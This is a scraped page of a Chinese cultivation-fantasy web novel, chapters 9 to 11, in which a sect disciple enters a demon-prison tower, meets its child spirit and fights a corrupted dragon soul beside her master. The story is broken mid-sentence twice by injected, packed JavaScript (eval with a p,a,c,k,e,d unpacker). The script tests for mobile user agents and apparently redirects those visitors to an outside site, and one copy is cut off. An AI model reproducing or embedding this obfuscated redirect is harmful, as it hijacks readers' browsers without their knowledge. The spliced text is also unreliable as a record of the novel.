执法堂大弟子,堂堂合体期长老的首席弟子,当是如此。 另一边。 妖族利爪擦着裴涣的脸过去,他手中照星剑挥动,剑势如流星坠地,锋芒毕露。 噗—— 血花四溅。 妖族被他激怒,发出一声震天响的怒吼。 这只妖身负上古凶兽血脉,自愈能力格外强大,身上的口子不消片刻就恢复如初,极其难缠。 它流着涎水,饥饿难耐地朝裴涣而去。 塔中没有灵气,它们不会饿死却会难受。 在体型庞大的妖族面前,被衬得尤其渺小的少年嫌弃地别开眼睛。 怎么又丑又臭的? 速战速决吧,受不了了。 裴涣洁癖发作,一跃而起。 不同于常笑还算温和的路数,少年剑光如虹,打算直接将这妖揍到失去行动。 本命剑重新入鞘的常笑看见这场景,痛心疾首地叹气。 “师兄可是觉得小师兄此举有何不妥?”跟在他身边的执法堂弟子见状问。 常笑抹了把脸,“你们这些人啊,不当家不知柴米油盐贵。他把这妖伤得太重,到时候丹药费都要贵上几枚灵石,就算不给用药,总要布下聚灵阵保下这些妖的性命吧,伤得越重需要的灵气越多。你们这些剑修,能不能别总大事小事都先打了再说?” 执法堂不管剑宗杂务和财政,却管弟子打架斗殴。 斗法哪有不损坏点东西的,一来二去的,也就和管财务的长老和弟子们熟络了起来,知道想从他们手中抠出一块灵石简直难如登天。 剑宗是真不富裕,一块灵石当两块花,开阳峰大殿的阵法都快因为灵气不足而停止运转。 师尊不管事,到时候仰止峰的修缮费多半还是他去索要。 毕竟你不要,对面真的会不给! 常笑越说越觉得前途无望,桃花眼失去光彩,背影萧瑟地找个角落蹲着。 他现在可要好好想一下,之后去要钱该怎么有理有据,强势又不失体面…… 裴涣将妖族绑了起来,扔到场地中间,让它同越狱的难兄难弟待在一起。 苍穹塔暂时被长老们的结界封住,他们没法将它们重新关进去,只好留一部分人在此看守,以等候掌门或长老发话。 …… 君轻离当着寒砚的面,唤出了“门”。 复杂的阵纹次第亮起,纹路蜿蜒曲折,像是某种图腾或者古老的文字。 寒砚没有在任何一本书上见过类似的阵法。 纯粹的金光劈来,她本能地眯起眼睛,见空气一阵扭曲,凭空出现面如海水的波纹。 一人多高,一米宽左右。 君轻离拿出他曾出示给寒砚等人看过的扶光峰令牌,放到“门”上,水面激荡,随后像门一样往两边打开。 门后是并不宽敞的通道。 通道不长,尽头一片灰白,似有黑色的海面在不断地起伏。 仅仅是站在门口,都能感受到里面传来的压抑。 这一次,君轻离将选择权交给她。 “阿砚,这次你是和我一起,还是留在此地?若是留在此,切记听你掌门师兄的话,不可随意走动。” 寒砚刚想说留这,就听到他说后面一句话,果断选择和他进去。 这一层就这么大点地方,还不如跟进去涨点见识。 “弟子跟着仙君。” 君轻离没说什么,只是熟练地拉过她的手腕,“跟好。” 他的指尖干燥,还带着些温热,一点都不像个修冰系灵力的人,而体虚的寒砚常年低温,冷得像块捂不化的冰。 两人一前一后穿过水波纹般的“门”。 然而走到一半,君轻离手中忽的一空。 历来无守塔人带着其他生物入内,因此君轻离也就不知道,是不是因为规则限制。 好在,他唯一可以确定的是,寒砚确实是被苍穹塔带走的。 苍穹塔还未生出灵,不会说话,具体缘由也就无从问起。 他叹了口气,屈指敲了敲通道的壁,“可别欺负人,不然我会生气。” 没有声音回应他。 即便是守塔人,也不能轻易破坏规则。 确认她没事,君轻离也只能心事重重地继续往前走。 …… 寒砚被迫和君轻离分开后,意识像被扔进旋涡中,疯狂旋转。 最后脑子里一片浆糊,差点吐了出来。 不知过了多久,她终于被从旋涡中扔出来,一个腿软差点趴在地上。 然而想象中的摔倒并没有出现。 寒砚睁开眼,只见一个身穿金袍,华丽得像个行走的藏宝库的男人,表情虔诚,单膝半跪在她面前。 她顿时懵圈,不年不节的,这不好吧。 想开口,但张嘴却无法发出声音,她这才发现,这似乎并非是她的身体。 嗯?难道系统杀了个回马枪将她又带着穿越了? 男人张嘴在说什么,但寒砚无法听见,直到一会儿后,似乎和身体融合好了,她才听见声音。 “……吾今日在此,向诸天神明起誓,愿为神女镇压苍穹塔冥魔,直至身死道消,浮华界毁。” 男人的声音并不大,却足够清晰,带着某种可不言说的决绝。 他抬头,露出张极为好看的脸,金色竖瞳中倒映着寒砚如今身体的模样。 身穿蓝裙的女子,长相柔美温和,微垂的眼睫下是一双同样灿金的眼睛。 寒砚又一阵晕眩,这回视角到了男人身上,从下往上看女子,她比想象中的还要美丽。 女子开口,声音如古钟敲响,天地可闻,日月见证。 “允——” 一字落下,她抬起手,一个图腾模样的蓝色印记落到男人手背上。 寒砚认出那就是君轻离唤出门时出现的纹路。 莫非她就是苍穹塔的主人?或者创造者? 忽然,寒砚被从男人身上弹出,以上帝视角看着下方的一切。 男人依旧单膝跪地但女子却消失不见,他口中发出凄厉的清吟,身躯化成金色神龙飞天而起,鳞片在日光下闪烁,像一条淌着金光的长河。 几息过后,金龙从天空往下,盘在一座漆黑的高塔上。 春去冬来,岁月沉浮,它身上的金色褪去,仅余灰白。 不知何年,不知何日,它再度发出一声泣血般的悲鸣。 寒砚心中莫名冒出“神女陨落”这四个字。 金龙飞入塔内,落在一望无际的凶兽尸骨中央,一动不动,直至身躯腐烂,仅余一具庞大的骨架,还在固执地守着这座塔。 是任务,更是执念和等待。 可惜……故人终不归。 直到不久前,一只苍老的、属于男性的手,将一颗黑亮的珠子放在金龙头骨上。 玉质的骨架被魔气染成黑色,魔气以其为中心向四周扩散,开始腐蚀苍穹塔上的阵法以及关押妖魔的禁制。 龙魂从沉睡中被唤醒,重伤了突然出现在塔中的黑袍人。 黑袍人负伤逃走,无法离开塔的龙魂盘旋在上空,以龙吟引出九幽冥河之水,淹过被魔气影响不断躁动的骸骨。 冥河水越来越多,形成黑色的海面。 便成了如今,寒砚所见之景。 她还想继续看下去,眼前蓦地一黑,被从这段记忆中踢了出来,跌落到一个纯白的空间,双眼所见没有一丝杂色。 寒砚按着太阳穴,从地上起身。 跺了跺脚,四处转了下,发现这个空间并非无限大,而是有着类似于墙的存在。 她敲了敲墙壁,扯了下嘴角,想笑,但发现自己有点笑不出来,索性拉着张脸。 “阁下既然盛情相邀,不若出面一见?” 时间一点点过去,不出意外地没有得到任何回应。 寒砚也没有感受到活物的气息。 她手贴在“墙”上,感受到手下传来的凉意,虽然比她手上的温度还要高上半分。 以她现在的筑基修为,强行破开的可能性不大。 寒砚手上蓄力,一掌拍出。 就在此时,一个小小的身影从墙里钻出,见到她的动作,被吓得哇哇大叫。 “啊啊啊杀人了!” 寒砚被吓了一跳,手上偏转方向,好险没一掌拍到小孩头上。 收功太过突然,难免受到反噬,她后退几步弯下腰,捂住胸口拼命咳嗽起来。 她这一咳,反而把突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888582|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现的小孩唬住。 三头身的胖小孩靠近她,扭着身子,探头探脑地伸出手,拍了拍她的肩膀。 “喂喂,你没事吧?” 寒砚浑身无力,深呼吸一口气,干脆坐到地上,慢慢平缓气息。 几秒后,才没好气道:“当然有事。你看我,本来就病歪歪的,还被你这么一吓,但凡运气再差点都可能因为灵息错乱而死。” 小孩狐疑看她,“你是大人,怎么还会被小孩子吓到?” 寒砚掏了掏耳朵,“得了便宜还卖乖?我还不是怕一巴掌把你拍扁了,到时候你爹妈都认不出你,别不识好歹。” 小家伙理所当然道:“明明是你太笨了,控制不住自己的力量还怪到我身上,不要脸!” 寒砚一把将他提起来,“是的,我不要脸,我还打小孩。” 小家伙在半空中用力扑腾,大声:“你不要脸!你打小孩子!哇呜呜呜——” 尖锐的哭喊声穿透力极强,寒砚被吵得头疼,“你再吵,我就真的打你了。” 他声音戛然而止。 不是他妥协!而是这人真的干得出来欺负小孩的事! 寒砚掂了下,还挺沉。 “你跟这座塔什么关系?让它把我放出去。” 凭空出现在此的小孩三四岁的样子,白白胖胖,藕节一样的手臂,身上穿了件红肚兜,一看就被养得不错。 ——说和苍穹塔没关系,她第一个不相信。 “你先放我下来!” 寒砚扬起手。 察觉到不妙,小家伙急忙开口:“我是这座塔的灵。” 寒砚无语:“……你看我像傻子吗?” 她是看不出他的真身,但也知道,苍穹塔虽然时间久远但因极度缺少灵气,远未到生出意识的地步。 “你爱信不信!” 寒砚才不信他的鬼话。 他被抓着肚兜带子拎着,白嫩的肌肤被勒得泛红,也没见他露出不舒服的表情。 寒砚还在想该怎么套话,就听他突然问了莫名其妙的话。 “你和洛水是什么关系?” “洛水?谁?不认识。” 小家伙皱了皱小小的眉头,奶声奶气,一本正经道:“你不可能不认识,不然你以为你为什么会看到塔的记忆。你再好好想想,尤其留心那种比较特别的人,应该……应该还是个女性。” 说到最后一句,他有些不确定起来。 这回寒砚没这么快否定。 他口中的洛水,不出意外的话应该是那位神女。 她认真回忆了下,几息过后,忽然道:“好像是有这么个人。” 小家伙喜形于色,四肢扑腾,即便依旧没能挣脱魔爪,还是高兴道:“你能联系上对方吗?” “应该是可以的。” 寒砚恶劣一笑,“不过我为什么要帮你?” 她倒是没说谎,在她上一世的记忆中,确实有个很特别的人。 “你!我看你就是根本没想起来,随便忽悠我的!” “忽悠的就是你。” 寒砚一点都没欺负小孩子的负罪感,不过,这样都还不显现出自己本来的面目么。 她眸色微深,脸上的笑冷了几分。 小家伙察觉到危险,打了个激灵,顿时满脸无辜地和她对视。 寒砚将他放下,懒得和他胡闹。 她手放到墙上,“所以洛水是这座塔的主人,你想找她?找她做什么?找她救你?” 他瞪大眼睛,惊讶她能够猜到这一地步,老气横秋地道:“八九不离十,所以你现在知道了吧,我找洛水是有正事的!” 小家伙胖乎乎的小手托着下巴,明明还有些生气,但眼前的少女铁石心肠,才不会管他,他只好自己把自己哄好了。 寒砚冷酷无情地呵了声,没理会他的明示。 她用灵力试探了下手下的墙,没得到什么反馈,又试着用神识。 这小孩斩钉截铁地说她认识洛水,那么会不会是她身上有什么东西,才让他有这个判断? 既然洛水是塔的主人,那么她可不可以从中获得什么呢? 小家伙不知道她在做什么,睁着双黑葡萄般的眼睛,不解地歪了歪头。 半刻钟后,寒砚嘴角上扬。 找到了! 察觉到什么,小家伙嘴巴张大到能吞下一个鸡蛋。 “你……” 周围的白色如潮水褪去,寒砚眼前的景色一变。 下一刻,她俨然已经身处在苍穹塔内的某层楼梯口。 9. 第9章 “之前发生了什么?” 穿着花裙子的木偶小人爬上寒砚肩膀,脸上用黑色墨水画着憨态可掬的五官,细看,发现所谓的裙子也不过是一块针脚粗糙的花布,随意缝制了几针,然后裹在木偶身上。 相比穿着的敷衍,木偶躯体打磨得十分光滑,足见主人之用心。 而此时,木偶的身体里发出成年男性的声音,有几分阴柔。 正是之前被寒砚抽走一丝神魂的影魔,他被寒砚的傀儡丝控制后,短暂地郁闷了下,很快接受这个残酷的现实。 影魔有个还算雅致的名字——师无故。 据他所说是抚养他长大的凡人夫妇给取的。 寒砚哎呀了声,“出了点小意外。你不是一直在我袖子里吗?你不知道?” 师无故:“看不到,有道力量将我屏蔽了。” “对了,我可好心提醒你,傀儡丝是至阴至邪之物,气息驳杂,对你们仙门修士可没有半点好处,说不定你身体现在这样,就是受到你修行邪法的反噬。” 寒砚还没有听习惯他的声音,明明之前披着斗篷的时候声音还算正常,没想到本音是这样,听得人浑身难受。 “你倒是比我和剑宗都清楚我的病因,不过可惜了,我是不会销毁傀儡丝放你走的,而且……” 她笑得眉眼弯弯,模样煞是灵动好看,说出来的话却一点都不讨喜。 “你这不是废话么,能控制人心智的,能是什么好东西?同理,人也如此。” 师无故:“?” 她在骂她自己? 师无故还想说什么,眼前突然一晃,发现环境从楼梯口变成了走廊。 寒砚头晕地靠着墙,手捂住胃的位置,反胃想吐。 第二次使用塔的权限,小小地传送了下,身体还无法适应。 她抬起头,视线一扫,大约是四五层的样子,被关在隔间里的妖实力并不强。 师无故想到寒砚刚刚的操作,心中有个可怕的猜测,呐呐道:“所以……你就消失一会儿就学会了空间法术?” “那倒不是。”寒砚哼哧哼哧爬塔,“一点小手段而已,不过谢谢你这么看得起我。” 师无故用他现在的木头脑袋思考了两秒,实在是想不通,索性直接道:“我都成你傀儡了,你有什么隐藏身份还不能和我说吗?我现在跟着你混好歹心里有个底儿。” 寒砚一手拎着裙摆,一手捶着发酸的腿,无奈:“如你所见,我只是个平平无奇的剑宗弟子,会一点点旁门左道。” 她说完又补充了句:“哦,我还有个身份是仙君亲传,不过他也从没教过我什么法术,就是个空名头。” “……不想说可以不说,何必瞎扯一堆废话来糊弄我?” 师无故气得操控木偶身体飞回她的衣袖。 “喂喂,我说的可都是大实话。” 师无故不想搭理她。 寒砚感慨了下此魔脾气可真大后,再次尝试,周围环境变换,这一次是到了苍穹塔的九十层左右。 这一层关押的可都是化神大妖。 苍穹塔的每一层都运用了空间法术,面积是仰止峰占地的两倍,以更好地容纳各种体积的妖族,塔身和内部的墙壁房门都由一种不知名的特殊材质铸成。 寒砚试了下,这种材质几乎完美地隔绝了神识,且克制傀儡丝和魔气等阴邪之物。 每层都有数量和大小不一的隔间,形制酷似牢房——虽然本质上也是,不过更加简洁。 走廊上燃着灯,光线却十分暗淡,仅能勉强透过隔间门上的窗口看清里面还有活物,偶尔会听到锁链的碰撞声以及妖族凄厉的吼叫声。 所有的门上都绘制有复杂的禁制,只不过在魔气的侵蚀下已经基本失去了效用,此时则靠着九十九层的残破阵法将这些半发疯的妖困住。 寒砚站在走廊上,坏心眼地想,自己要是将它们都给放出来,君轻离会不会被气死。 踏上走廊,她清了清嗓子,礼貌开口:“请问,蛭妖小姐,或者蛭妖公子在吗?晚辈有一事相求,想借前辈内丹一用。” 走廊两侧的隔间内开始响起各种窸窸窣窣的声音。 “这人好生没礼貌?” “呸,现在的人族修士真不要脸,抢内丹都抢到坐牢的人……不对,妖身上来了!” “人族什么时候要过脸?” “唉……新来的小家伙可要小心喽。” 这一层的妖因为修为深厚,尚且未被魔气完全控制,就是比平时更加暴躁。 不过若是剑宗的人反应再慢些,或许它们也会如底层的那些妖一样,破塔而出,成为背后之人的手中利刃。 寒砚的话宛若投入平静湖面的石子,激起层层浪花,妖们叽叽喳喳说个不停,当着她的面就开始自顾自地聊了起来。 但又因受到魔气影响,没说两句就开始互骂起来,场面一度混乱。 若非都被关着,寒砚很怀疑它们会先自己打起来。 “……我说,蛭妖在吗?” 无妖搭理。 寒砚眉心一跳,脸上的笑容逐渐消失。 …… 半柱香后,寒砚踏出九十层的走廊,身后的妖怪们含泪欢送。 沉重的房门吱呀晃动,奄奄一息躺在地上的大妖们唰地跃起。 它们动作敏捷地将房门关上后,跑到角落里缩起身子,齐齐化作自闭的蘑菇。 呜呜呜人族好可怕。 …… 寒砚每上一层,都会先询问一通。 娘亲说过,有求于人还是要客气点,毕竟有借有还再借不难,虽然蛭妖不是人,但她是个讲道理的姑娘。 于是,待在她衣袖中的师无故,就这么看着她在每层都重复着相同的操作。 礼貌询问—被无视—动手—失望上楼。 师无故:“……” 从未见过如此做作之人,反正最后都是要动手的。 “你想找蛭妖要做什么?” “凡界的水蛭入药有活血化瘀之效,而蛭妖的妖丹在此基础上,还有解百毒和造血等多种效用,我自然是拿来入药的。” 她不通医术,这也是偶然一次在书中所见。 妖域的水蛭一族修行不易,上古时有个半步合体期的蛭妖为求突破来到修真界,无意间造了杀孽,被剑宗先祖关进塔中。 她试过普通的蛭妖妖丹,起初还能奏效,但次数多了,现在效果已不明显。 她需要新的、更为强大的药引。 “妖丹还能治体弱?”师无故奇道,“我怎么没听说过这种邪门的法子,也不怕妖气入体影响修行?” 虽然浮华界的妖族和人族都以灵气修行,但人修仙道,妖走妖道,完全是两码子事。 妖气入体能叫凡人直接暴毙,有的妖甚至还会以吸食人的精气修炼,故此人妖恋什么的才一直为人所诟病。 “当然可以,魔界不过弹丸之地,你见识浅薄也很正常。” 师无故:“……” 请不要随便人身攻击谢谢。 寒砚突然道:“你知道人族和妖魔最大的区别是什么吗?” “是什么?” “勤劳和智慧。妖魔天生强大,所以他们从未想过自创修行之术,而是靠着掠夺外界来强大自身。而人族不同,哪怕未来浮华界灵气断绝,无法修行,他们也会找到其他的强大途径。可妖魔一旦失去了力量,便只能任人宰割。” “你凭什么这么确定?” 寒砚笑出声,“不信?爱信不信。” 魔界但凡多把心思放在建设自身,也不会万年来周而复始,有事没事就惦记着修真界。 妖域同理,以前还能和修真界叫板,现在仙魔的双重压力下,已经逐渐在浮华界失去话语权。 师无故知道这人才不会正经跟他讲道理,只好憋屈地闭上了嘴。 再往上,就是剑宗长老们所在的九十九层。 尽管神识不能用,但寒砚可以借助苍穹塔,听到些许动静。 浮雕上的阵法已经修补完毕,但剑宗的长老们还未离开。 他们在等君轻离。 “掌门师兄,仙君现在都还没出来,不会出什么问题吧?”长了张国字脸的长老道。 身穿大红宫装的裴初弦手指把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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君轻离持剑一挡,湛蓝长剑覆上了层薄霜,被他轻轻一抖,白霜消散,剑锋暴涨。 他眉间道纹闪过银光,眼神平静无波。 “对付你足矣。” 低温的寒气将海面上的雾凝结成冰刺,空气中不断响起“簌簌”的声响,偶尔蹦出声极轻的“咔”,海面都浮起了薄冰,又在剑气刮过时裂开。 雾气消失,露出来人的真容。 男子脸色苍白,细长的眉斜飞入鬓,身披锦袍,头戴玉冠,却是极浅的颜色,显得有些陈旧。 若是寒砚在此,便能一样认出,此人正是她曾见过的金龙。 迎面而来的剑光,看似缓慢实则极快。 脚下的海水不断被寒气冻结,又被剑气绞碎,又再度凝成冰。 天空开始往下飘雪,令人窒息的威压无处不在,男子仰起头,湛蓝长剑在他眼中以缓慢落下,但又快到他根本无法躲开。 这一剑,威力不亚于他曾见过的上古神明。 他脚下却像在原地生了根,无法动弹,只能以无边海浪去抵挡。 煎熬中,剑气终至。 轰—— 男人束发的玉冠破碎,黑发散开,身后黑色的海被劈成两半,剑气在荒芜的地面留下深深的沟壑,依稀看见无数沉睡的凶兽尸骨。 他猛地吐出口血,身体摇摇欲坠。 整个修真界都知道,传闻中的仙君不仅是仙门第一人,还是当世第一的剑修。 一剑劈山,一剑断海,一剑破天穹。 只需一剑。 “抱歉,尊者。” 君轻离提剑走近,下方被劈开的黑海逐渐合拢。 他有些疲倦,但还是好言相劝:“你又忘了,你不能出去。” 男子已经听不进去话,他怒视君轻离,眼睛爬上血丝。 “九尾天狐窃我王位,我夺回我的东西何错之有?你们剑宗之人凭什么将我镇压于此!我要杀了你们——” 10. 第10章 说了不能放,就是不能放。 君轻离掐诀,从天边飞来无数金色的锁链,冲向男子,欲将他控制住。 锁链渐近,男子面部肌肉抽动,瞳孔化为一双金色竖瞳。 龙吟悠长,半透明的黑色巨龙盘旋飞起。 身如长蛇,角似鹿,爪似鹰。 遨游于黑海上空,散发出骇人的气势。 寒砚没想到自己会再看到这条龙,虽然样子变了,但气息不会认错。 它的龙魂应当是受到魔气影响,才会由原来的灰白色变成如今模样。 君轻离猝不及防,不得已退到百丈开外。 上古真龙,一诞生就是化神期,如今这位更是堪比仙神的存在。 只是执念太深,终不得圆满。 恢复原形的龙,龙身长数十丈有余,和它相比,身为人类的君轻离渺小到几乎可以忽略不计。 但没有谁忽视一个足够强大的对手。 舒展完筋骨的龙在空中停下,然后疾冲向下,目标明确地朝君轻离而来。 它脑中只有一个念头: ——杀死守塔人,它才能获得自由。 两个同样站在浮华界顶端的强者,打起来动静不可谓不大。 海水翻涌起百米高的巨浪,无数沉在海底的凶兽尸骨被裹挟带起,又随海水砸下,若非足够僵硬,等打完怕是只剩下一堆渣。 一人一龙几次交手,难分上下,一时之间陷入僵持。 龙乃天生神兽,鳞片骨骼坚不可摧,寻常法器想要在上面留下痕迹都极为困难,一口龙息喷出,将海面都烤得下降一寸。 君轻离虽为人族,但剑法精湛,精通五行术法,同样不落下风。 良久,两方视线相撞。 君轻离眉眼沉静,黑龙痛苦盘旋,躁动不已,再度狂躁地朝他而来。 …… 远处,寒砚肩上坐着木偶小人,手上牵着小孩,也就是塔灵。 她勉强认同了他的身份。 “他现在是何修为?” 她这具身体修为太低,看不出君轻离如今的境界,但却可以感受到他身上的气息明显不如黑龙雄厚,只是剑气足够强横,让他看起来与黑龙旗鼓相当。 “渡劫初期,他打不过龙魂的。” 抛开境界不谈,塔中灵气稀薄,人族修士灵力耗尽后就如同拔了牙的老虎,而黑龙早已死去,不知疲惫,又受到神女恩泽,龙魂不灭。 君轻离注定要输。 而且……照着黑龙现在毫无理智可言的情况,他一旦失手,可能连个全尸都留不下。 站着累,寒砚干脆原地坐下,打算先看看情况。 “你不是担心他吗?真来了又不去帮忙?”小塔灵以同样姿势盘腿坐在她身边。 寒砚不可思议地看他,“我只是个小小的筑基修士,去当炮灰都不够格的好吗?” 塔灵无语:“……装,你接着装,小心把人装死了。” 寒砚哼了哼,指尖轻点膝盖,陷入思索。 不对劲。 这头龙不对劲,君轻离也不对劲。 可具体是哪里不对劲,她又一时间说不上来,眼前的一切都充满了违和感。 作为话本,一切背景都可以一笔带过,但现实不是小说。 寒砚的脑袋开始隐隐作痛,识海动荡翻滚。 有所察觉的师无故操控木偶飞到她面前,就看到少女愈发惨白的脸颊。 “喂喂!你怎么了?刚刚不是还好好的?” 寒砚抬手遮住眼睛。 半晌,她声音暗哑道:“……没事。” 师无故半信半疑。 “要不你……” 他才说了几个字,遥远上空如流星般坠下道青色身影,湛蓝色剑尖朝下,在所过海面上划开接连盛开的浪花。 “哐当!” 一人一剑砸在寒砚前方。 师无故都呆了呆,两秒后反应过来,飞快藏到寒砚衣袖中。 作为魔,他对君轻离是本能的厌恶和恐惧。 青年浑身是血,原本握剑的右手无力下垂,鲜血顺着指尖流淌,很快在地面积成个小血洼。 下意识召唤本命剑,丹田处却传来阵阵剧烈抽痛,他闷哼了声,猝然跪地。 黑龙紧追不放,转瞬就已至眼前,注意到君轻离后方的一大一小,眼神睥睨,“蝼蚁。” 君轻离后知后觉转头,眸子里映出个把自己缩成一团的少女。 他的剑,正躺在她脚下。 “阿砚……?” 君轻离不敢置信,又看向她旁边的胖小孩,眼神难得茫然。 就在他愣神时,寒砚伸手,捡起了地上的湛蓝长剑。 君轻离以为她会把剑递给自己。 “你……” 少女听到动静,缓缓抬头,对上他的视线。 她的脸像瓷器一样,无声裂开道道血痕,一双完全看不见瞳仁和眼白的血瞳,毫无温度地看他。 哪怕是上一世,君轻离也从未见过她这般模样,对上她的眼睛,顿时遍体生寒。 他本就受伤极重,再加上眼前所见让他气血上涌,当即眼前一黑,吐出一口血。 “这把剑,不错。” 她的声音空灵缥缈,似从天边传来,在君轻离耳边不断回响。 君轻离怀着一丝希望,“阿砚……” 寒砚站起,动作僵硬且缓慢,看向他时,仿佛有血液流淌的眼睛,缓慢爬上粘稠的恶意。 她已认不出君轻离。 黑龙不甘心自己被忽视,龙眸中冒出凶光,一口龙息朝下方喷出。 君轻离的大脑几乎已经停止运转,来不及思考,“快走!” 寒砚抬头,足尖轻点,身体腾空而起,提着剑直直地砍过去。 龙息滚烫,烤得人生疼。 滔天的黑气源源不断地自她体内涌出,在身前汇聚成个骷髅模样,张开黑洞洞的大嘴,一口将龙息吞下。 黑龙并没有将弱小的人族放在眼中。 龙息与凤火齐名,可以焚毁世间万物。 一看就非正道的黑气,更是被龙息克制。 很快,黑气消散,黑龙冲过去,打算一爪子拍死眼前的人族。 最后一缕黑气散开,数道剑光冲出! 黑龙身躯过于庞大,哪怕反应及时,也难以全部避开。 它急忙飞起,身躯和尾部还是挨了几道。 剑光夹带着黑气,落到它的身上,轻易破开它的龙鳞,留下深可见骨的伤口。 被它所看不起的人族所伤,黑龙彻底暴怒! 黑色的海水被它操控,升空化作漫天的水龙,杀机尽显,席卷而来。 见了血,寒砚缓慢勾起笑,唇角几乎裂到耳根。 她瞬间闪身至黑龙背后,一剑斩下! 黑龙发出痛苦的戾吼,剑气穿透龙 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他与苍穹塔有契约,却并未察觉到塔中何时出现了这么个孩子。 “你不用知道我是什么。”小孩冷漠且疏离道。 君轻离不在乎他的态度,只关心:“你对我的弟子做了什么?” 本来还算“好脾气”回应他的小孩突然炸毛:“我哪里敢对她做什么?有没有一种可能,她就是在装疯装可怜骗你?” 君轻离并起剑指,一道剑气飞过去,“胡言乱语的妖族!” 躲开剑气的小孩:“?” “我说的可是实话!你真是笨死了!”见他又要出手,小孩气得跳脚,直接转身消失。 远处天空。 两团黑光碰撞又分开,对抗的气息激起千重海浪。 一人一龙都没注意到,待在天炁境边缘处的君轻离何时消失不见。 直到头顶落下一缕清明的灵气,空气中各种浑浊的气息被涤荡干净,无数散发出上古威压的金色符文落下,将黑龙困住。 落在身上,滋滋地冒白烟。 龙魂被灼烧的痛让它拼命挣扎,不断撞向符文,身上的气息越来越淡。 符文跟着闪烁,金光像会随时熄灭一般。 再这样下去,龙魂和符文只会同归于尽。 寒砚趁机出手,掌心形成漩涡,贴到它的头顶,将黑龙体内的魔气抽出。 在魔气拔出的瞬间,她动作一僵。 金色的符文同样落在她身上。 不是,怎么还有她的份? 下一秒,一人一龙直直地往下掉。 黑龙先寒砚一步,在龙身就快碰到海面时彻底变得透明,无法再被人眼所见的龙魂回到龙骨中。 黑气回到体内,寒砚闭上眼,放纵自己往下掉。 九幽冥河之水? 会接纳一个异世的灵魂么。 算了,不接纳也得接纳。 正胡思乱想时,她腰间一紧,被人拥入怀中。 她听见头顶上方传来声闷响,被人护得严丝合缝,眼睫一颤,入眼是熟悉的青色衣袍。 寒砚还残留有血色的眼睛轻轻合上。 …… 水花四溅。 两人齐齐沉入海中。 11. 第11章 寒砚并没有真的失去理智。 体内黑气尚在掌控中,远不到反噬的地步,只是眼前像蒙上了层红纱,看谁都是一团会动的红影。 打人也许会碍事,但那么大条龙,她闭着眼睛都不会打歪。 黑龙应当就是天炁境的关键所在,她将其体内的魔气抽出后,明显能感受到整座塔都变得平和了起来,下方躁动的妖魔都被强制陷入沉睡,有种全世界都被按下静音键的感觉。 君轻离抱着她走出黑海。 整个过程,寒砚的意识一直都很清醒。 她身上的伤看着严重,实际都是皮外伤,就是体能消耗过大,引起了一系列连锁反应。 威胁解除,困意袭来,寒砚精神一松懈,便彻底睡死了过去。 三天后,寒砚醒来,一切尘埃落地。 君轻离将她送回来后,检查过身体没什么大问题,就让掌门安排了人照顾她。 寒砚躺在床上,听水镜中相熟的女弟子,叽叽喳喳地讲述她昏迷期间的事情。 在她口中,内门的师姐师兄们那叫一个威武霸气,抬抬手就把跑出来的妖族收拾得哭爹喊娘。 女弟子是刚入内门,才筑基不久,并没参与此次的事情,基本就在外围和其他空闲的同门一起看热闹,也不知道寒砚被君轻离带着进了塔。 后面被突然叫来照顾昏迷的寒砚,尚不清楚她因何出事。 寒砚浅笑不语,没有打断她手舞足蹈地吹嘘。 脑中却在想,剑宗内部身居高位的魔界奸细一事。 “小师叔你都不知道,长老们出塔以后,告诉我们长泽仙君回来了!这次危机多亏了仙君出手。我就说嘛,仙君怎么会是爽约之人,原来是早就知道苍穹塔出事,所以提前过去了。” 小师妹气呼呼道:“都怪那群魔界的家伙,如果不是他们捣乱,小师叔的拜师大典也就不会被搅和了。” 寒砚脸色苍白地起身,“你现在好好练剑,等以后成了仙君这样的人物,我们剑宗又多一个强者,那些魔便不敢来作乱了。” 小师妹脸上浮现一层薄红,“小师叔我会的!等我练好剑,到时候和长老们一起杀进魔界,让他们知道,我们剑宗可不是好欺负的。” 年纪不大,修为不高,口气倒还挺大。 寒砚没有打击她的积极性,“好啊,到时候我就等你保护我了。” “咚咚咚。” 听到敲门声,寒砚抬头从支开的窗户往外看。 阳光透过槐树枝叶,如碎金洒在青石板的地面上。 站在树荫下的少年眉眼低垂,劲瘦的腰间挂着照星剑。 他手搭在剑柄上,手指瘦削修长,白净皮肤下隐约可见淡淡的青色纹路。 察觉到从窗户内出来的视线,他蓦然抬眸,看到寒砚时眼睛不自觉地一亮,但又立马僵硬地移开视线。 水镜中的小师妹也听到声音,斗志昂扬道:“有人找小师叔的话,我就先去上晚课啦,有时间我再来找小师叔玩啊。” 寒砚颔首,挥散水镜,将自己收拾好,推开门,被阳光刺得眯起眼睛。 “你睡了整整三天。” 裴涣率先开口:“再不醒,师尊都该去找医修来看你是不是还活着了。” 他一开口就没什么好话,却也没忘了道:“有个姓君的弟子找你。” 寒砚应了声谢,走到庭院中。 她的小院布局简单,屋外只有张摆放在角落的石桌,以及一棵槐树和挂在槐树上的秋千,屋内仅有一间不大的卧室,一间杂物房,还有一间落了十多年灰的小厨房。 几乎没有招待客人的地方。 地方有点小,倒也不是掌门亏待她,他的两个弟子住处环境和她相差不大。 见她出来,裴涣朝外面一扬下巴。 但见夕阳余辉洒下,站在院外槐花树下的人长身玉立,一袭青衫,隽秀如画。 他还和十五年前初见时一样,眼神澄澈平和,仿佛没有半点棱角。 来的估计是分身,还保持着少年模样。 寒砚望过去时,他弯了弯唇角,伤估计还没好,脸色还有些难看。 “……进来吧。” 寒砚走到石桌坐下,扬了扬手,一套茶具从屋内飘出来,平稳落到桌上。 